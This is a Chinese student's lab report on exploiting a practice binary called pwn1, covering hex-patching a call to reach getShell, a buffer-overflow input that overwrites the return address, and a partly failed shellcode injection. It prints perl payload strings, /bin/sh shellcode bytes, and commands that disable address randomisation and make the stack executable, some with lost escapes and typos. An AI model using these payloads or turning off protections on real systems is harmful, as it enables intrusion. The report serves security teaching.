一,实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
-
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
-
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
基础知识
- 熟悉Linux基本操作
- 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理。
- 能看得懂汇编、机器指令、EIP、指令地址。
-
会使用gdb,vi。
二,实验操作
1直接修改程序机器指令,改变程序执行流程
1.1.先将pwn1放入事先以自己学号命名的文件夹,并复制两个备用
1.2用 objdump -d pwn1 | more 反汇编,可以找到main函数
- "call 8048491 "是汇编指令
- 是说这条指令将调用位于地址8048491处的foo函数;
- 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
- 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,
--
-
main函数调用foo,对应机器指令为“ e8 d7ffffff”,
- 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
- 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
-
下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
1.3修改机器指令
用vim指令编辑该文件,出现乱码如下图。
输入%!xxd
进入十六进制编辑模式,根据/e8d7
快速找到需要修改的地址
摁i键进入修改模式。将d7改为c3,并改回原乱码格式。最后wq保存退出。
反汇编查看修改是否成功。
如上图,修改成功。call后面的foo已经变味getshell。
1.4执行文件
实验成功。
2,通过构造输入参数,造成BOF攻击,改变程序执行流
2.1 原理
系统只预留了28字节的缓冲区给读入字符串,超出部分会造成溢出,我们需要做的是覆盖返回地址。
main函数中的调用foo,在堆栈上压上返回地址值为"80484ba"。
本次要攻击的是foo函数,该函数没有输入字符的限制和边界检测;所以输入过多的字符可能就会溢出,写进返回地址。
即可利用BOF(buffer overflow 缓冲区溢出攻击)技术利用设计好的字符串,让其溢出的部分改变部分内容。
本实验中要更改的是在函数返回时改变返回程序的地址,让其跳转到我们指定的地址,执行目标函数。
2.2确认输入字符串哪几个字符会如何覆盖到返回地址
用gdb pwn1
调试程序,输入有规律的字符串如1111111122222222333333334444444488888888,发生错误产生溢出。
info r查看寄存器eip的值,发现输入的888888888被覆盖到堆栈上的返回地址.
2.3构造输入代码
寄存器显示时是按照16进制从高位向低位显示,需要从右至左每两个数字一个单位的读取。
接下来的操作会使这块区域变成我们需要的内容(x7dx84x04x08)即可实现跳转到getShell处执行代码,
所以我们需要输入的是11111111222222223333333344444444x7dx84x04x08x0a
由于要改写的字符串"x7dx84x04x08"的ASCII值里面有无法从键盘读入的字符,这时候需要借助令Perl语言来代替我们生成这样符合要求的字符串重定向输出到input文件中,x0a表示回车,如果没有的话,在程序运行时需要按一下回车键。
输入"perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input" 。
可以使用16进制查看指令xxd。
然后将input文件作为文件的输入。
3,注入Shellcode并执行
3.1准备工作
安装execstack.
修改设置。
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
3.2构造要使用的payload
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr
- 选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90:
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
接着在终端中注入这一段攻击buf,输入后马上打开一个新的终端。
在新的终端输入代码ps -ef | gerp pwn3,得到进程号4616
输入gdb pwn3进入调试界面,然后输入attach 4616.
接下来输入指令disassemble foo,进行反汇编。
然后设置断点,来查看注入buf的内存地址,指令break *0x0804ae.
之后要回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续.
接下来输入指令info r esp,查看栈顶指针所在的位置,并查看改地址存放的数据。
x4x3x2x1出现在栈顶,这是返回地址的位置.
shellcode在旁边,计算地址:0xfffe617c+4=0xfffe6180。
修改攻击代码,将最终地址加进去.
perl -e 'print "A" x 32;print"
"x80x61xffxfex90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode.
实验不成功,经分析kali中的execstack没有下好,实在不会下了,准备重新搞一个kali。
三,实验后需掌握内容。
3.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:NOP指令即“空指令”,机器码为:0x90
JNE:条件转移指令,如果不相等则跳转,机器码为:0x75
JE:条件转移指令,如果相等则跳转,机器码为:0x74
JMP:无条件转移指令,机器码为:Short Jump(短跳转):0xEB;Near Jump(近跳转):0xE9;Far Jump(远跳转):0xEACMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果,机器码为:0x39
3.2掌握反汇编与十六进制编程器
反汇编指令为:objdump -d <文件名>
十六进制编辑器perl指令为:perl -e 'print "xxx"' > input
四,实验心得。
4.1实验心得
本次是网络攻防的第一次实验,总体不难,但对我也是一个很大的挑战。在老师和同学的博客的帮助下,自己磕磕绊绊完成了此次实验,但我感觉非常有成就感。不过第三个实验最后一步没有成功,因为kali不能成功下载execstack导致失败。虽然实验完成过程很一般,但重要的是我掌握了方法,大学的学习本来就是一个掌握方法的过程。通过此次实验,让我对于栈的理解更为深刻,同时对于缓冲区溢出的原理也掌握了一些,总体来看还是一次非常愉快的经历。感谢那些给予过我帮助的老师和同学们,谢谢。
4.2什么是漏洞?以及其危害?
漏洞是指软件或者系统等在具体实现过程中产生的意料之外的缺陷。
漏洞轻则可能造成软件打不开,系统异常或者崩溃;重则危害个人以及国家秘密的安全,影响人类社会正常运转。